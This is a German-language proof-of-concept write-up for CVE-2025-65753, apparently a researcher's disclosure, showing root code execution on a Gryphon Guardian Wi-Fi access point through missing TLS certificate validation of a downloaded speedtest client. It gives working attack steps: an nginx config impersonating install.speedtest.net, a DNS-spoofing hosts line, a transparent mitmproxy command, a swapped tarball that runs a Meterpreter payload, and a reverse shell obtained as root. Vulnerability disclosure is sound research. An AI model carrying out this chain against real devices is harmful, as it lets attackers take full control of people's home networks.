
Proof-of-Concept-Exploit für CVE-2025-65753: Remote-Codeausführung auf dem Gryphon-Guardian-Zugangspunkt durch fehlerhafte TLS-Zertifikatsvalidierung, die MitM- und DNS-Spoofing-Angriffe ermöglicht.
Proof of Concept für CVE-2025-65753: Remotecodeausführung auf dem Gryphon-Guardian-Zugangspunkt, Firmware-Version 01.06.0006.22, durch eine unsachgemäße TLS-Zertifikatsprüfung.
Der Gryphon-Guardian-WLAN-Zugangspunkt mit Firmware-Version 01.06.0006.22 validiert das TLS-Zertifikat eines Internet-Speedtest-Clients nicht ordnungsgemäß, der nach einer Aufforderung über die App heruntergeladen wird. Diese Schwachstelle ermöglicht es einem Angreifer, die Kommunikation abzufangen und zu manipulieren, indem er den Client mit bösartigem Code injiziert, der anschließend vom Zugangspunkt als Root ausgeführt wird.
Es gibt 2 Möglichkeiten, diese Schwachstelle auszunutzen:
Für die Zwecke dieses PoC wird der Datenverkehr vom Zugangspunkt über den Computer des Angreifers geleitet (im Grunde ein MitM-Angriff), indem 2 Netzwerkschnittstellen gebrückt werden, wie in diesem Diagramm zu sehen ist.

Um dies zu tun und dabei TCP-Verkehr für die Analyse auf lokalen Port 9900 umzuleiten, habe ich mein eigenes Tool verwendet: https://github.com/diegovargasj/bridge-interfaces

Als Nächstes habe ich das certmitm-Tool von aapooksman () verwendet, um TLS-Verbindungen zu analysieren und automatisch mehrere Angriffe zu starten, um die Zertifikatsprüfung zu testen. Dabei zeigen sich mehrere Schwachstellen gegenüber verschiedenen Servern. Diejenige, die meine Aufmerksamkeit erregte, war der Download des Speedtest-Clients von , der mit einem einfachen selbstsignierten Zertifikat abgefangen werden kann.

Das Tarball enthält eine für 32-Bit-ARM kompilierte ELF-Datei, die offensichtlich vom Gerät heruntergeladen, entpackt und ausgeführt wird.

Das Gerät validiert das TLS-Zertifikat nicht auf Authentizität, da es bereitwillig ein einfaches selbstsigniertes akzeptiert. Indem Sie also einen HTTPS-Server bereitstellen und DNS-Antworten für install.speedtest.net spoofen, können Sie ein beliebiges ausführbares Programm Ihrer Wahl ausliefern. Verwenden Sie dazu einfach die folgende nginx-Konfiguration:
server {
listen 443 ssl default_server;
server_name install.speedtest.net;
ssl_certificate /path/to/self_signed_cert.pem;
ssl_certificate_key /path/to/self_signed_key.pem;
root /path/to/webroot;
}
Fügen Sie als Nächstes die folgende Zeile zu Ihrer /etc/hosts-Datei hinzu, um DNS-Antworten über dnsmasq zu spoofen.
192.168.0.15 install.speedtest.net
Starten Sie schließlich das Skript bridge-interfaces.sh neu, beenden Sie certmitm.py und führen Sie mitmproxy aus:
mitmproxy --listen-host 192.168.0.15 --listen-port 9900 --mode transparent -k
Jetzt brauchen wir nur noch die Payload. Da auf dem Zugangspunkt Python installiert ist, genügt ein einfaches Meterpreter-Skript. Erstellen Sie das Skript mit msfvenom:

Ersetzen Sie die ursprüngliche ELF-Datei des Speedtest-Clients durch ein Bash-Skript, das die Payload aufruft:
python payload.py
Und packen Sie es mit dem richtigen Pfad in ein Tarball, damit es der Webanfrage an https://install.speedtest.net/app/cli/ookla-speedtest-1.2.0-linux-armhf.tgz entspricht:
tar -czvf ookla-speedtest-1.2.0-linux-armhf.tgz speedtest payload.py
Jetzt richten wir den Meterpreter-Listener ein. Nachdem wir den Speedtest aus der Gryphon-App aufgerufen haben, erhalten wir die Reverse Shell als Root.

Und wir können beliebige Befehle innerhalb des Zugangspunkts ausführen.
